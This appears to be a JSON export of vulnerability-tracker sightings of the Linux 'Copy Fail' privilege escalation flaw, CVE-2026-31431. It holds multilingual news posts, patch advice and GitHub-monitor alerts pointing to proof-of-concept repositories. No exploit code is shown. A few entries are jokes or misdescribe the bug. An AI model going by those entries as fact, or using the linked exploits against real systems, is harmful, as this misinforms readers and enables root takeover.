"content": "CISA ajoute la faille Linux CVE-2026-31431, exploit\u00e9e en local pour escalade de privil\u00e8ges, \u00e0 son catalogue KEV. Plusieurs distrib Linux sont concern\u00e9es. Restez vigilants ! \ud83d\udd12\ud83d\udc27 #CyberSecurity #calimeg ", "creation_timestamp": "2026-05-04T16:00:56.140940Z"}, {"uuid": "82891b10-80b1-46fd-8f30-bcf89327dac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3ml22hqye7k24", "content": "Urgent: 'Copy Fail' vulnerability (CVE-2026-31431) in Linux kernels since 2017 allows root access to unprivileged users. Patch immediately to secure your systems. #Linux #CyberSecurity #CVE202631431 Link: thedailytechfeed.com/critical-lin...", "creation_timestamp": "2026-05-04T16:06:03.698001Z"}, {"uuid": "6b000c73-6277-430e-8c05-ea626527f7ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/dmc5179/701d2f649e64544e945a860a2ffca8ae", "content": "", "creation_timestamp": "2026-05-04T16:09:14.000000Z"}, {"uuid": "587b4912-9779-486a-840b-316697aa2271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml24b52qkj2h", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T16:38:08.664879Z"}, {"uuid": "4521916e-10e8-4523-bd47-0c53827814f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml24k3kog62i", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T16:43:08.971763Z"}, {"uuid": "bace5b3f-0c5d-4302-9a14-bce2686c43df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml25wryws52b", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T17:08:08.918120Z"}, {"uuid": "fada86af-9d73-4c63-8e5b-1860df7f7c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml26f6knaz2j", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T17:16:11.771114Z"}, {"uuid": "0c3a26c9-dfec-407c-8f6b-9ca2f5906ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml26o55c7o2e", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T17:21:12.685982Z"}, {"uuid": "451d4f93-a398-4e8f-9a7c-61d79065db20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml27a2umi72z", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T17:31:13.970667Z"}, {"uuid": "61d172de-9152-4663-8888-75931a3726d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ronan.mastodon.ronandev.ovh.ap.brid.gy/post/3ml277e5neia2", "content": "\"CopyFail\" (CVE-2026-31431) : un utilisateur local sans privil\u00e8ge peut \u00e9crire 4 bytes contr\u00f4l\u00e9s dans le cache de TOUT fichier lisible \u27a1\ufe0f \u00e9l\u00e9vation root. Si vous avez du multi-tenant, des conteneurs, des CI runners non fiables : mettre \u00e0 jour. Ordinateur perso ? Moins urgent mais mettez \u00e0 jour [\u2026]", "creation_timestamp": "2026-05-04T17:32:11.752508Z"}, {"uuid": "c558d3b2-1439-4c8a-ad59-ab2a9999ef4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ronan.mastodon.ronandev.ovh.ap.brid.gy/post/3ml277i4zi3m2", "content": "\"CopyFail\" (CVE-2026-31431) : un utilisateur local sans privil\u00e8ge peut \u00e9crire 4 bytes contr\u00f4l\u00e9s dans le cache de TOUT fichier lisible \u27a1\ufe0f \u00e9l\u00e9vation root.\n\nSi vous avez du multi-tenant, des conteneurs, des CI runners non fiables \u27a1\ufe0f mettre \u00e0 jour.\n\nOrdinateur perso \u27a1\ufe0f moins urgent mais mettez \u00e0 [\u2026]", "creation_timestamp": "2026-05-04T17:32:15.820758Z"}, {"uuid": "ba7d3283-c817-4087-946b-b5d3f7deb77b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hexonbot.bsky.social/post/3ml27cjm5l52p", "content": "AI found a 9-year Linux kernel bug in 1 hour. Copy Fail gives any local user root with a 732-byte Python script and can break container isolation. Patch now. https://www.hexon.bot/blog/copy-fail-cve-2026-31431-ai-discovered-linux-root #LinuxSecurity #AISecurity", "creation_timestamp": "2026-05-04T17:32:36.316016Z"}, {"uuid": "94ff514c-c208-48d2-82fb-db2bac5b1421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3ml27qwgm6qt2", "content": "\"Copy Fail\" Lands on CISA's KEV: A Nine-Year-Old Linux Bug Becomes a Patch Deadline On May 1, 2026, CISA added CVE-2026-31431, better known as \"Copy Fail,\" to its Known Exploite...\n\n#News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-04T17:40:52.930455Z"}, {"uuid": "2c4951da-595d-4029-a3cd-072c0a22736d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/vritrasecnews.bsky.social/post/3ml2a6l4v5w27", "content": "CISA warns of the actively exploited \u201cCopy Fail\u201d Linux flaw (CVE-2026-31431), enabling root...\n\n\ud83d\udd17 https://www.tomshardware.com/software/linux/cisa-flags-actively-exploited-copy-fail-linux-kernel-flaw-enabling-root-takeover-across-major-distros-unpatched-systems-may-remain-vulnerable-to-attack", "creation_timestamp": "2026-05-04T17:48:17.317917Z"}, {"uuid": "cb49147f-b038-43da-859b-c1a90cb6ecdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82790", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a AdityaBhatt3010\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 15:55:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLinux Privilege Escalation | AF_ALG Crypto Abuse \u2192 Exploiting AEAD socket handling (CVE-2026-31431) to gain root via kernel-level manipulation\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T16:00:05.000000Z"}, {"uuid": "60aa4e92-1d9e-431e-af4d-e0f11964d70e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82795", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rippsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 16:59:26\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nc v e\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T17:00:04.000000Z"}, {"uuid": "8d716eb6-f302-4140-877b-5f681e995106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mm-ilsoftware-bot.bsky.social/post/3ml2auoi22u2p", "content": "CVE-2026-31431: perch\u00e9 Linux Copy Fail preoccupa\nUna vulnerabilit\u00e0 nel kernel Linux, presente dal 2017, consente escalation a root manipolando la page cache. CISA e altri sogge...\nhttps://www.ilsoftware.it/vulnerabilita-linux-copy-fail-cve-2026-31431/", "creation_timestamp": "2026-05-04T18:00:39.649211Z"}, {"uuid": "c172485e-8af2-403d-8346-03fbbef94f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/XXwxQXb-tvoojVYSOrs5t4rzcGDASvn2l14g7pH1kZVhQSE", "content": "", "creation_timestamp": "2026-05-03T21:00:04.000000Z"}, {"uuid": "2e295ddc-ffb5-40cf-9391-cc3ba430afd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2d2d3idz2x", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T18:39:35.987754Z"}, {"uuid": "53afef64-42d4-4998-afe9-7930b3bcdd9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2e4w4vwn22", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T18:58:56.973169Z"}, {"uuid": "b28347b4-7e44-42c9-9e8a-4bbc5d35c431", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sebclick.bsky.social/post/3ml2e7lqlqc2z", "content": "Copy Fail (CVE-2026-31431) : Synth\u00e8se technique sur cette faille Linux www.linuxtricks.fr/news/10-logi...", "creation_timestamp": "2026-05-04T19:00:30.193234Z"}, {"uuid": "38b840b2-9cb5-42c7-872a-94f42c5ae298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3ml2gfw3csci2", "content": "CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments A high-severity Linux vulnerability, \u201cCopy Fail\u201d (CVE-2026-31431), enables root privile...\n\n#Linux\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-04T19:39:49.302500Z"}, {"uuid": "ef150ce2-e667-4c8e-b705-9196bd158c8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Sagreras/8b433fc36ef0b27726c0ff435a8a5638", "content": "", "creation_timestamp": "2026-05-04T20:11:04.000000Z"}, {"uuid": "44a1b56e-b23f-4660-a722-6b42d6f48f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dietpi.com/post/3ml2j33d3wc2r", "content": "We gathered all info about how to mitigate the recently disclosed CVE-2026-31431 aka \"Copy Fail\" on #DietPi systems.\n\nPlease read through this, to assure your system is not vulnerable: github.com/MichaIng/Die...\n\nThe same applies to every other Linux system!\n\n#CopyFail #Security #Linux", "creation_timestamp": "2026-05-04T20:27:24.885816Z"}, {"uuid": "458a157b-9282-4ea8-b038-8a1606b108f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dietpi.com/post/3ml2j6tyr6222", "content": "We gathered all info about how to mitigate the recently disclosed CVE-2026-31431 aka \"Copy Fail\" on #DietPi systems.\n\nPlease read through this, to assure your system is not vulnerable: github.com/MichaIng/Die...\n\nThe same applies to every other Linux system!\n\n#CopyFail #Security #Linux", "creation_timestamp": "2026-05-04T20:29:30.832424Z"}, {"uuid": "fd0d860b-8e04-430b-b833-67155eb0986a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/byroniac.bsky.social/post/3ml2mulryyc2q", "content": "\"CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments\" www.microsoft.com/en-us/securi...", "creation_timestamp": "2026-05-04T21:35:23.455106Z"}, {"uuid": "ffec2d95-fb83-4121-a6a0-ba183394cf5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/philbraun.org/post/3ml2ngwlppc22", "content": "April 8, 2026 - France's Interministerial Directorate for Digital Affairs Switched from Microsoft to Linux\nApril 29, 2026 - CVE-2026-31431 bug is disclosed with capability to get root access on nearly every major Linux distro\nMay 20, 2026 - Bill Gates Buys France to Stop Economic Collapse\n#copyfail", "creation_timestamp": "2026-05-04T21:45:38.113179Z"}, {"uuid": "1c454b11-5a33-4025-adf8-fdb4fb7912cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "Cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mineabot.xyz/post/3ml2oat3m3g25", "content": "Cve-2026-31431, dubbed Copy Fail, is drawing attention from the selfhosted community. Worth a closer look for teams relying on clipboard-based workflows or any tooling where copy operations cross trust boundaries. Patch management discipline matters here.\n\n#devops #cloud #k8s", "creation_timestamp": "2026-05-04T22:00:05.730271Z"}, {"uuid": "6d88a1e2-6328-4766-98ca-3711e572fad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jcastanedacano.bsky.social/post/3ml2oc5iwhx2t", "content": "CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments", "creation_timestamp": "2026-05-04T22:00:49.674428Z"}, {"uuid": "126054d7-adab-4769-a87d-2400490e2a49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linuxbp.bsky.social/post/3ml2pb4a44c2j", "content": "Vulnerabilidad cr\u00edtica en Linux \ud83d\udea8 Copy Fail (CVE-2026-31431) permite escalar a root desde un usuario sin privilegios. Silenciosa, potente y presente desde 2017. Actualizar el kernel es clave para protegerte. #Linux #Ciberseguridad #Kernel Mas info en mi blog", "creation_timestamp": "2026-05-04T22:18:08.903462Z"}, {"uuid": "03c7ed3f-4d7e-4943-a9b5-3440f1e8098b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/d40a1dc8ac4ee266441c61907c67812d", "content": "", "creation_timestamp": "2026-05-04T22:32:09.000000Z"}, {"uuid": "38faa0b7-3794-4921-b183-d809f8618ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82814", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a KhaosFarbauti\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 21:54:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-31431 (Copy Fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T22:00:04.000000Z"}, {"uuid": "9d73794b-aff0-4fc6-a234-69c65240594b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3ml2rmqclgb2t", "content": "Active exploitation targets include cPanel flaw CVE-2026-41940 allowing authentication bypass, Linux Copy Fail CVE-2026-31431, and ongoing supply-chain attacks by TeamPCP impacting CI/CD and SaaS environments. #LinuxKernel #SupplyChain #USA", "creation_timestamp": "2026-05-04T23:00:27.076966Z"}, {"uuid": "645888fa-5c6b-48f8-a3a4-303361423f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/humanghostemoji.bsky.social/post/3ml2sg3y6vy23", "content": "US warns CopyFail bug (CVE-2026-31431) hits Linux 7.0 & earlier, exploited in the wild. Patch by May 15. #Linux #security\ntechcrunch.com/2026/05/04/u...", "creation_timestamp": "2026-05-04T23:14:37.784190Z"}, {"uuid": "a157e6ba-5489-4a09-90aa-27b2bf8362e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2swnj7rl2x", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T23:23:52.853138Z"}, {"uuid": "b92aa46a-d94b-4a4b-bf20-dbac08b9029d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82820", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a check-copyfail-cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Silent4Labs\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 22:50:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only Linux Bash script to assess host exposure to CVE-2026-31431 (Copy Fail).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T23:00:05.000000Z"}, {"uuid": "7b233e77-1920-4aab-a087-a187e4f75080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3ml2v4ownap23", "content": "U.S. government warns of severe CopyFail bug affecting major versions of Linux: The U.S. government has issued an urgent warning regarding \"CopyFail,\" a severe security vulnerability tracked as CVE-2026-31431 affecting Linux kernel versions 7.0 and earlier. Discovered\u2026 https://ranked.news/763195?u=b", "creation_timestamp": "2026-05-05T00:03:03.956033Z"}, {"uuid": "83a33e6b-9adb-4bdb-a74b-ba62bc2d0163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gagadgetespana.bsky.social/post/3ml2zbestff2c", "content": "La vulnerabilidad CVE-2026-31431 afecta a la mayor\u00eda de distribuciones Linux modernas y ya est\u00e1 siendo explotada activamente. CERT-EU exige actuaciones inmediatas en operadores y administraciones.", "creation_timestamp": "2026-05-05T01:17:15.599393Z"}, {"uuid": "e7656cfb-a0b6-49eb-8610-4a7b2732e48e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gagadgetde.bsky.social/post/3ml2zbky4qb2v", "content": "CVE-2026-31431 betrifft nahezu alle g\u00e4ngigen Linux-Distributionen seit 2017 \u2013 Patches sind verf\u00fcgbar, aber noch nicht \u00fcberall eingespielt.", "creation_timestamp": "2026-05-05T01:17:22.844627Z"}, {"uuid": "1d728967-1f30-4a74-b10e-5344cfa6b31d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gagadgetfr.bsky.social/post/3ml2zcadfnt2f", "content": "La vuln\u00e9rabilit\u00e9 CVE-2026-31431, activement exploit\u00e9e depuis fin avril, touche Ubuntu, RHEL, Amazon Linux et les environnements Kubernetes. Les op\u00e9rateurs cloud et h\u00e9bergeurs fran\u00e7ais doivent agir sans d\u00e9lai.", "creation_timestamp": "2026-05-05T01:17:44.422371Z"}, {"uuid": "555482ca-a451-4862-bf78-eee25510272e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3ml2zokdr2d2j", "content": "Critical Linux Kernel \u201cCopy Fail\u201d Flaw Sparks Global Root Access Panic Across Major\u00a0Distros\n\nIntroduction: A Silent Kernel-Level Weakness With Explosive Consequences A newly identified Linux kernel vulnerability, tracked as CVE-2026-31431 and nicknamed \u201cCopy Fail,\u201d has triggered serious concern\u2026", "creation_timestamp": "2026-05-05T01:24:38.141087Z"}, {"uuid": "0580e394-2dbb-4995-aec7-06e2515d1ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/novalfaiq/e6afa58d88747d77a302b80aa86088b2", "content": "", "creation_timestamp": "2026-05-05T01:23:45.000000Z"}, {"uuid": "3a5f4047-24a8-47b7-90fa-847224e4428e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/novalfaiq/9d01ab62f9c504321c5bebaf90d2fcab", "content": "", "creation_timestamp": "2026-05-05T01:46:52.000000Z"}, {"uuid": "283cedf4-198e-4e8f-b87a-08125c7856d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82837", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rippsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 00:47:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T01:00:04.000000Z"}, {"uuid": "44e30d85-1018-453a-9ca5-e9d602e7fa97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3ml34u76hg72r", "content": "The latest update for #SafeBreach includes \"'Copy Fail' Vulnerability (CVE-2026-31431): #Linux Kernel Privilege Escalation\" and \"Introducing SafeBreach Helm\".\n \n#Cybersecurity https://opsmtrs.com/41NWGuQ", "creation_timestamp": "2026-05-05T02:21:27.957005Z"}, {"uuid": "1e9dd049-9ebc-4dee-8c03-3bc26d84ac72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3ml35daxrws2s", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 540 interactions\nCVE-2026-41940: 82 interactions\nCVE-2026-3854: 57 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 59 interactions\nCVE-2026-41940: 8 interactions\nCVE-2026-22679: 5 interactions\n", "creation_timestamp": "2026-05-05T02:29:52.980545Z"}, {"uuid": "77296a00-8fbd-47e3-8c82-9d6fd4fe72c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 